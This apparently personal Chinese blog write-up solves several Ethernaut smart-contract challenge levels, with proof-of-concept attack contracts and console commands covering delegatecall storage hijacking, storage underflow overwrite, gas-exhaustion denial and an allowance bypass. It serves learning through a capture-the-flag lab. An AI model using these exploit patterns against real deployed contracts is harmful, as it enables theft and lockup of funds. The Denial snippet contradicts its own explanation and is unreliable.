又学到了新东西。源码:
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly {
x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
相对来说比较难的是gateTwo那里不知道该怎么绕。涉及到内联注释,学习文章:
ethervm
Solidity 中编写内联汇编(assembly)的那些事[译]
assembly {
x := extcodesize(caller()) }
caller():message caller address
extcodesize():length of the contract bytecode at addr, in bytes
extcodesize是用来检查地址是不是合约地址的:
caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。
因此正常这里如果绕过gateOne的require(msg.sender != tx.origin);
的话,这里也就绕不过了,因此我以为是gateOne的那里需要改变一种姿势绕,但是查不到新姿势。。。
看了一下,WP:
经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。
因此只要把攻击代码写在constructor
里面就可以了。
至于gateOne就很简单了:
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
uint64(0)-1
存在一个下溢出,溢出后是0xffffffffffffffff
,因此前面需要得到0xffffffffffffffff
。前面^
是相同为0,不同为1,因此必须和前面结果的每一位都不一样,那就按位取反即可:
gateKey = bytes8(~(uint64(bytes8(keccak256(abi.encodePacked(this))))));
POC:
pragma solidity ^0.6.0;
contract Feng {
bytes8 public gateKey;
address public target = 0x376E65f6d59Ec9f5cD3e9F9B18F05A0BB34A0bab;
constructor() public {
gateKey = bytes8(~(uint64(bytes8(keccak256(abi.encodePacked(this))))));
target.call(abi.encodeWithSignature("enter(bytes8)",gateKey));
}
}
知识盲区,考察了ERC20。
源代码:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); //decimals=18
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
逻辑也不算难,说白了就是player是你自己,你的账号余额就是INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
,只要把这些钱转出去就赢了,但是transfer函数那里有lockTokens
,必须now > timeLock
才行,即过10年才能转账。
这题考察的是ERC20的2个转账函数,自己还是太菜了不会ERC20,做完这题后再去把ERC20看一遍。
ERC20有2个转账函数transfer和transferFrom:
题目里只override了transfer函数,并没有重写这个transferFrom函数,因此可以考虑利用transferFrom。
想了一下,发现和之前学solidity时遇到的那个ERC721里的转账有些类似:
至于为什么类似,分析一下这个ERC20的代码就知道了:
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
题目的描述中,help给出了代码链接:
ERC20
看一下:
_transfer
就不看了,调用transfer函数同样也会进入_transfer
,里面具体的进行了转账。
注意接下来的2行代码:
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
这个东西一开始我还不知道是啥,觉得很迷,继续看下面的_approve
:
就相当于tranfer直接是拥有者调用,将他的代币转给别人,而transfer是由被转账的人调用,这个_allowances[owner][spender]
就是许可的金额,意思是owner这个账号允许转给spender这个账号的代币的数量,如果这个不空的话,spender就可以调用transferFrom
函数从owner那里获得转账。
因此上面的那两行代码,是检查被授权的转账余额是不是大于等于要求的转账余额。
因此我们需要先授权一下转账的余额:
正好owner是我们自己,也就是player,因此可以授权。这里最简单就是授权给自己,因为transferFrom函数的这里:
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
并不是取_allowances[sender][recipient]
,因此在这里就相当于取得是自己给自己授权得余额,直接打就可以了:
await contract.approve(player,toWei("1000000"))
await contract.transferFrom(player,contract.address,toWei("1000000"))
还是对ERC20不熟悉呀,去好好学一波。
这题没能做出来,但是知识点我都知道,还是我太菜了,有空要把call的那些一定好好总结一下。
源码就不分析了比较简单,主要的就是这里:
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
参考上面的delegatecall的讲解,执行环境为调用者的环境,也就是当前Preservation合约的环境。
调用了LibraryContract
的setTime()
方法。修改了storedTime:
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
storedTime是位于slot0的,因此实际上是修改Preservation合约的storage中slot0,也就是address public timeZone1Library;
,因此这个address public timeZone1Library;
是我们可控的,既然这个可控了,可以自己写一个恶意合约,让这个量是我们的恶意合约的地址,然后这个合约中的setTime函数修改一下slot2的值,也就是owner即可。
写个POC:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract LibraryContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
owner = 0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
}
}
contract Feng {
LibraryContract lib = new LibraryContract();
address public target = 0xf423151f829CD798877bD52b2752387D22CF5416;
function attack() public {
target.call(abi.encodeWithSignature("setFirstTime(uint256)",lib));
target.call(abi.encodeWithSignature("setFirstTime(uint256)",uint(1)));
}
}
挺迷的一题。。。主要是因为英文介绍我死活看不懂。。。:
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.
大致理解就是有一个简单的代币工厂合约,任何人都可以很轻易的创造新的代币。在创建的第一个代币合约后,创建者发送了0.5ether来获得更多的代币。但是他们弄丢了合约的地址。
如果你可以恢复或者拿走着0.5ether从这个丢失的合约地址,你就可以通过。
虽然我对于这个题目的意思有点迷,但我还是会看以太坊浏览器。。。
看一下当前的合约,去以太坊里查一下:
这个操作让我挺迷的。。。:
d99开头的是我题目的合约地址,先转1到0x8d,然后再转0.5 ether给0xddd。。
感觉好像这个8d07是个中转的。。。反正迷的很,不过反正那0.5 ether是在0xddda…那里了,直接写个POC打即可:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface SimpleToken {
function destroy(address payable _to) external ;
}
contract Feng {
SimpleToken constant private target = SimpleToken(0xDDdA39DcB8bB61Aee73631f83F0068A99bD0b7Dd);
function attack() public {
target.destroy(payable(msg.sender));
}
}
看了别的师傅的WP,这个创建的合约的地址还能算出来。。。。离谱。。。。这方法我就不试了,太懒了。。
To solve this level, you only need to provide the Ethernaut with a “Solver”, a contract that responds to “whatIsTheMeaningOfLife()” with the right number.
Easy right? Well… there’s a catch.
The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.
Good luck!
需要让solver是一个合约,这个合约的whatIsTheMeaningOfLife()
函数会返回一个正确的数字,而且这个函数的opcode不能超过10个,正常写的话是会超过的,所以要自己手写opcode。
学习文章,虽然是英文,但是写的确实很好,认真阅读就可以理解:
Ethernaut Lvl 19 MagicNumber Walkthrough: How to deploy contracts using raw assembly opcodes
MagicNumber
差不多算是2种思路了,其实最终的原理都差不多。Initialization Opcodes的作用就是:
因为我们没必要写constructor,因此这部分的opcode就没有了,只需要有把runtime opcode这部分存储到memory这部分所需要的opcode就可以了,然后是2种思路,一种就是利用codecopy:
或者就是直接return。
用codecopy的话就是这样:
Runtime Opcodes
602a
6080
52
6020
6080
f3
Initialization Opcodes
600a
600c
6000
39
600a
6000
f3
另外一种return的就不写了,参考上面的文章即可。
await web3.eth.sendTransaction({
from:player,data:"0x600a600c600039600a6000f3602a60805260206080f3"}, function(err,res){
console.log(res)})
await contract.setSolver("0x067Cb3Ec131555289AC6C12cF702f121d080e1E1");
学习了一波,感觉对于opcode的理解更深了。
Storage的Arbitrary Writing,参考我之前写的文章:
Storage
slot0放的是owner和contact,算出可以覆盖的i值,然后覆盖掉就可以了。
POC:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
interface AlienCodex {
function make_contact() external ;
function record(bytes32 _content) external ;
function retract() external ;
function revise(uint i, bytes32 _content) external ;
}
contract Feng {
AlienCodex constant private target = AlienCodex(0x53c5A404b93e96DA6b913c222b728E8825f987E5);
bytes32 public payload = 0x0000000000000000000000017D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
function attack() public {
target.make_contact();
target.retract();
uint i = 2**256 - 1 - uint(keccak256(abi.encodePacked(uint(1)))) +1;
target.revise(i, payload);
}
}
从github的wp上摘录下来的。
expression | syntax | effect | OPCODE | |
throw | if (condition) { throw; } |
reverts all state changes and deplete gas | version<0.4.1: INVALID OPCODE - 0xfe, after: REVERT- 0xfd | deprecated in version 0.4.13 and removed in version 0.5.0 |
assert | assert(condition); |
reverts all state changes and depletes all gas | INVALID OPCODE - 0xfe | |
revert | if (condition) { revert(value) } |
reverts all state changes, allows returning a value, refunds remaining gas to caller | REVERT - 0xfd | |
require | require(condition, "comment") |
reverts all state changes, allows returning a value, refunds remaining gas to calle | REVERT - 0xfd |
这题很明显就是构造partner合约的fallback,让:
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.
这题我一开始还是学的不够好,solidity基础不扎实,因为基本上我自己不怎么区分require和assert这样的。上面的列表已经给出了,但其实上就是,拜占庭版本之前,require和assert确实区别不大,都是恢复状态,耗尽gas。而在拜占庭版本之后,require不再耗尽gas了,而是refunds remaining gas to calle。
回到这一题上:
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
先是call,然后transfer,之所以我用require不行,就在于transfer里出现异常会回退,而call这样的出现异常会返回false,下面的仍然会执行,因此想让下面的transfer出错,就要把gas耗尽,因此要用assert而不能用require。POC:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
interface Denial {
function setWithdrawPartner(address _partner) external ;
// withdraw 1% to recipient and 1% to owner
function withdraw() external ;
// convenience function
function contractBalance() external view returns (uint) ;
}
contract Feng {
Denial constant private target = Denial(0x47D3b14124BC946e5D102367F92B653DCb36d14d);
fallback() external payable{
//assert(false);
require(false);
}
constructor() public {
target.setWithdrawPartner(address(this));
}
}
说白了就是自己的Buyer合约的price方法2次的返回值要不一样,第一次要大于等于100,第二次要小于100。我写了一下,但是一直有问题。。。还是我的问题,因为那个gas有3000的限制,不能访问storage:
可以通过isSold来判断,POC如下:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract Buyer {
bool public flag = false;
function price() public view returns (uint){
if(Shop(msg.sender).isSold() == true){
return 1;
}else{
return 110;
}
}
function attack(address target) public {
Shop(target).buy();
}
}
不过我一开始写的有问题。。就是Buyer合约:
contract Buyer {
bool public flag = false;
Shop public target = Shop(address(0xaA4431855E966C98007E17732E78d9feB7adf848));
function price() public view returns (uint){
if(target.isSold() == true){
return 1;
}else{
return 110;
}
}
function attack() public {
target.buy();
}
}
attack函数那里,直接用target的话不行,会gas出问题。目前还不清楚是为什么。。。(想了一下想不明白为什么。。。)